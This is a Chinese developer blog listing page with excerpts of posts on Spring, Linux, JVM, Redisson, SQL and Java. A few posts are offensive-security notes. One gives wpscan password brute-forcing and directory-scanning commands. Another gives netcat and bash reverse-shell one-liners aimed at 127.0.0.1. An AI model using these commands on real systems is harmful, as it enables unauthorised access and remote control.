自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(50)
  • 资源 (3)
  • 问答 (1)
  • 收藏
  • 关注

转载 spring事务传播行为

在Spring中,我们可以通过声明式事务,实现对数据库操作的事务管理。其中,在声明式事务时,有一个事务的属性为propagation,即事务的传播行为。今天,就来讨论该属性的作用。什么是事务的传播行为?首先,事务的传播行为,可以拆成两部分理解,即事务的传播,和事务的行为。指的是,当有两个或以上的方法同时声明为事务方法(事务方法:即加了事务管理的增删改方法)时,如果在一次程序执行过程中,这些事务方法彼此间相互调用,那么这些事务方法的事务,应该如何来进行管理?

2023-03-08 23:50:28 399

转载 yum 源配置

原创2022-03-01 16:16:46©著作权文章标签文章分类阅读数​​​​。

2022-10-20 12:40:13 3028

转载 Centos 6 DNS 配置 解决 Unknown host

当为YES时,如果使用了DNS设置, 或者启用了DHCP,或者 使用了那啥(Microsoft's RFC 1877 IPCP extensions with PPP),/etc/resolv.conf 文件将会被修改。果然发现这不是个持久的修改,重启后,会被覆盖。指定一个DNS服务器地址, 当 PEERDNS指令 设置为YES时,将被写入 /etc/resolv.conf 文件。测试了下, 如果只修改resolv.conf中的DNS, 重启系统后, 确实会被刷新为ifcfg-ethX中的配置。

2022-10-20 12:30:29 881

原创 网站扫描命令

#爆破网站用户密码wpscan --url 127.0.0.1 -U /root/Downloads/web_name.dic -P /root/Downloads/web_pass.dic#扫描信息joomscan --url 127.0.0.1#扫描网站目录dirbuster -u "127.0.0.1" -w /usr/share/dirb/wordlists/common.txt #密码爆破john hash.txt ...

2022-04-15 18:32:39 375

原创 shell反弹

客户机yum install ncnc参数-l 使用监听模式-v 显示执行过程-p 设置本地主机使用的通信端口示例nc -lvp 444目标机nc 127.0.0.1 444 -e/bin/bashbash -i>& /dev/tcp/127.0.0.1/444 0>&1

2022-04-14 15:26:11 96

原创 beef-xss

2022-04-07 16:54:03 153

原创 sql注入

![]https://img-blog.csdnimg.cn/e3dd5020146344388030c341f2df9229.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6Ieq6L2s55qE6L2u5a2Q,size_20,color_FFFFFF,t_70,g_se,x_16)

2022-03-31 17:35:56 99

原创 matesploit基本使用

​​​​​​​

2022-03-29 11:31:28 333

原创 liunx

```bashsu -root 用户切换useradd user01 -G group1 创建用户groupadd groupq 创建组id user01 查询用户passwd user01 设置密码sudo useradd user01 提权userdel user01 删除用户chmod u=r 1.txt 授权chmod u+r 1.txt 授权chmod -R u+r /mnt 授权文件夹chown user01.hr 1.txt 更改文件的主体用户...

2022-03-14 18:01:05 2136

原创 jvm调优

jps 查看java进程java -XX:+PrintFlagsFinal -version 查看JVM的所有参数java -XX:+PrintFlagsFinal -version |grep manageable 查看可以动态修改的参数jinfo -flag CMSWaitDuration=1900 38360 修改JVM参数jinfo -flags 9912 查看参数jstat -gc 11355 100 10 打印pid为11355JVM的状态,一共打印10次,每次间隔时间1s

2021-07-02 18:05:39 75

原创 liunx常用命令

su -root 用户切换useradd user01 -G group1 创建用户groupadd groupq 创建组id user01 查询用户passwd user01 设置密码sudo useradd user01 提权userdel user01 删除用户chmod u=r 1.txt 授权chmod u+r 1.txt 授权chmod -R u+r /mnt 授权文件夹chown user01.hr 1.txt 更改文件的主体用户ps aux

2021-06-24 11:17:42 62

转载 超简单使用redisson延迟队列做定时任务

超简单使用redisson延迟队列做定时任务王念博客 王念博客 发布于 02/17 14:10 字数 1305 阅读 1.7W 收藏 11 点赞 1 评论 25springredissonredisredisson-spring-boot-starterspring bootquartz精选30+云产品,助力企业轻松上云!>>>前言:在工作开发中很多需求都需要用到定时任务,但是市面上多半都是轮询或者固定时间执行的开源工具,我之前写过一次基于quartz的定时任务,前端和分布式

2020-07-22 15:19:03 1846 6

转载 基于Redisson的延时队列

推荐一款基于Redis的高可用延迟队列作者:小柒 发表于 2020-02-13 | 分类于 架构设计前言之前给大家推荐的几款延迟任务处理队列,对于一些要求比较高的场景是无法运用于生产环境的,一旦机器宕机或者应用重启会导致队列消息丢失,从而造成无法挽回的损失。今天给大家分享一款高可用延迟队列 Redisson。简介Redisson 在基于 NIO 的 Netty 框架上,充分利用了 Redis 键值数据库提供的一系列优势,在 Java 实用工具包中常用接口的基础上,为使用者提供了一系列具有

2020-07-21 18:00:13 891

原创 count 中使用if语句

SELECT b.tax_pch,COUNT(IF(b.tax_status IN(0,1,2),TRUE ,NULL))AS '总人数', COUNT(IF(b.tax_status IN (0,1),TRUE ,NULL))AS '未报人数', COUNT(IF(b.tax_status = 2,TRUE ,NULL))AS '已报人数', b.tax_model,b.tax_company, SUM(IF(b.tax_status IN(0,1,2),...

2020-06-09 12:02:32 755

转载 分布式锁

什么是分布式锁撸帝52019.02.13 23:05:45字数 1,797阅读 50,524学习完整课程请移步 互联网 Java 全栈工程师本节视频【视频】Dubbo 实现微服务架构-Zookeeper-什么是分布式锁1【视频】Dubbo 实现微服务架构-Zookeeper-什么是分布式锁2【视频】Dubbo 实现微服务架构-Zookeeper-什么是分布式锁3概述为了防止分布式系统中的多个进程之间相互干扰,我们需要一种分布式协调技术来对这些进程进行调度。而这个分布式协调技术的核心就

2020-06-06 11:02:40 125

转载 excel导出工具

https://gitee.com/stupid1t/small_tools

2019-05-16 15:45:44 111

转载 秒杀解决方案

https://gitee.com/52itstyle/spring-boot-seckill

2019-01-04 19:50:31 210

原创 idea注册码

ideahttps://www.cnblogs.com/aacoutlook/p/9036299.html

2018-12-12 09:45:53 197

转载 接口防止重复提交

http://pengl.com.cn/2017/09/26/%E4%BD%BF%E7%94%A8Redis%E8%AE%A1%E6%95%B0%E5%99%A8%E9%98%B2%E6%AD%A2%E5%B9%B6%E5%8F%91%E8%AF%B7%E6%B1%82/

2018-09-03 18:00:26 2068

原创 mysql 高版本向低版本导入,导入报错问题

找到低版本的my.ini 配置文件,在里面找到[mysqld],然后在下面加入max_allowed_packet=1024Mwait_timeout=288000interactive_timeout = 288000

2018-04-10 16:42:58 904

原创 delete 去除重复数据

具体业务,将一条数据加入时做校验,判断是否重复,重复删除删选条件 plan_info_id相等,assets_info_id相等 distribute_state='-1'DELETE m FROM `Fa_Stock_Plan_Detail` mWHERE EXISTS (SELECT sCode, nId FROM (SELECT t.`plan_info_id` AS

2018-03-14 15:42:02 2000

转载 jstl标签

一、JSTL标签介绍1、什么是JSTL?        JSTL是apache对EL表达式的扩展(也就是说JSTL依赖EL),JSTL是标签语言!JSTL标签使用以来非常方便,它与JSP动作标签一样,只不过它不是JSP内置的标签,需要我们自己导包,以及指定标签库而已!       如果你使用MyEclipse开发JavaWeb,那么在把项目发布到Tomc

2017-12-05 11:21:23 143

转载 struts2的简单使用

在这里我要说一下在action中怎么向页面传值~在action中依然可以像以前在servlet里面一样,使用request、session、application向页面传送值,除此之外,action里面还有俩个独有的传值方式:ValueStack  ActionContext一,先来说说这俩个独有的传值方式~1.ValueStack的特点(值栈):1.把一个

2017-12-04 17:46:44 235

转载 window查看使用cpu过高的线程

windows下揪出java程序占用cpu很高的线程 并找到问题代码 死循环线程代码我的一个java程序偶尔会出现cpu占用很高的情况一直不知道什么原因今天终于抽时间解决了系统是win2003jvisualvm 和 jconsole貌似都只能看到总共占用的cpu 看不到每个线程分别占用的cpu呢所以在windows

2017-12-01 17:03:26 9257

转载 java切割合并文件

package com.zhjy.function.storeHouse;import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFound

2017-11-29 11:01:15 468

原创 存储过程入门

存储过程和函数是在数据库中定义一些SQL语句的集合,然后直接调用这些存储过程和函数来执行已经定义好的SQL语句。存储过程和函数可以避免开发人员重复的编写相同的SQL语句。而且,存储过程和函数是在MySQL服务器中存储和执行的,可以减少客户端和服务器端的数据传输。一、存储过程1.1、基本语法CREATE PROCEDURE sp_name ([proc_parameter[,...]])

2017-10-26 10:18:50 455

原创 获取客户端的外网ip地址

document.write(returnCitySN["cip"] + ',' + returnCitySN["cname"])

2017-10-20 16:43:58 306

转载 java生成验证码

JAVA 验证码生成最近做了一下验证码的功能,网上找了一篇还不错,引用下:http://blog.csdn.net/ruixue0117/article/details/22829557这篇文章非常好,但是web和jsp里简单的代码那位大神没有补充,我补充下源码下载路径:http://download.csdn.net/detail/u010320675/9539190效果

2017-10-20 16:06:26 252

原创 tomcat配置https及证书导入

利用tomcat服务器配置https双向认证步骤1、为服务器生成证书进入控制台,切换到%JAVA_HOME%/bin目录,具体操作略。使用keytool为Tomcat生成证书,假定目标机器的域名是“localhost”,keystore文件想要存放在“D:\home\tomcat.keystore”,口令为“password”,使用如下命令生成:keytoo

2017-10-13 11:55:44 3079 2

转载 java操作excel

http://www.cnblogs.com/liuling/archive/2013/03/27/excel.html

2016-12-19 17:39:04 211

原创 html2canvas截屏传入后台

--> /supervision/html2canvas-master/dist/html2canvas.js"> --%> /supervision/html2canvas-master/tests/assets/jquery-1.6.2.js"> --%> /supervision/html2canvas

2016-11-17 09:45:09 1630

翻译 java截图

package test;import java.awt.AWTException;import java.awt.Desktop;import java.awt.Dimension;import java.awt.Graphics;import java.awt.Image;import java.awt.Rectangle;import java.awt.Rob

2016-11-16 15:59:13 268

原创 短信发送试例

import com.zhjy.supervision.utility.SMSUtil;public class Test { public static void main(String[] args) throws Exception { new SMSUtil().sendSMS("13520335854sss","你好"); }}

2016-09-27 16:26:09 294

原创 kindeditor的N多Bug问题

本文只针对4.1.11在图片上传时,默认只返回两个状态,error,和url, 有时候需要从回掉函数中获取url,但是直接从afterUpload的回掉函数中获取是得不到的,需要在kindeditor-all.js中改一个地方将if (self.afterUpload) { //self.afterUpload.call(self, url, data, name);

2016-09-13 19:58:10 1046

转载 js判断浏览器版本

$(function () {    var Sys = {};    var ua = navigator.userAgent.toLowerCase();    var s;    (s = ua.match(/rv:([\d.]+)\) like gecko/)) ? Sys.ie = s[1] :    (s = ua.match(/msie ([\d.]+)/)) ? Sys

2016-09-01 09:59:20 191

转载 js文本域限制

>  html xmlns="http://www.w3.org/1999/xhtml">  head>  style type="text/css">  #num{  color:red;  }  style>  script language="javascript" src="jquery-1.7.1.min.js">script>    meta http-equiv="Content-T

2016-08-22 17:37:10 509

原创 html片段提取纯文本

html

2016-08-16 18:06:15 676

原创 关于url传参特殊字符的处理办法

在url中传递特殊字符时会出现的问题有,乱码问题,这个问题可以用三个函数解决,这个不是啥大事,如果有特殊字符要进行转义,可用正则表达式              //将特殊字符转义 text=text.replace(/\%/g,"%25"); text=text.replace(/\#/g,"%23"); text=text.replace(/\&/g,"%

2016-08-11 15:34:05 301

原创 关于post文件上传不能返回路径问题的解决方案

一般文件上采用表单提交,设置form的两个属性 method="post"   enctype=”multipart/form-data”如:                    但附件上传要返回附件的上传地址由于post提交为同步提交,所以不能回掉附件的URL地址,有人可能会想到ajaxs,但是ajaxs不能设置enctype属性值,所以不能进行附件

2016-08-11 15:20:24 1121

原创 黑马程序员——JAVA基础---反射

——Java培训、Android培训、iOS培训、.Net培训、期待与您交流! ——- java的反射机制:         我们都知道,一个java类中,有成员变量、成员方法、构造方法等等,反射机制,就是动态的获取这些类中的信息,并动态的调用对象的方法。通常只有要设计框架的过程中,才会使用java反射相关的api,但是了解java反射机制的基本原理与基本方法,可以帮忙我们在日后对框架的学习与应用提

2015-08-03 11:13:14 374

java excel大数据量导出demo,可支持模板导出

支持模板导出 ,支持分页查询 , 支持大数据量,采用SXSSFWorkbook

2018-03-16

可输入下拉框

可输入下拉框

2017-03-23

html2canvas.js

html2canvas.js 测试好用

2016-11-17

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除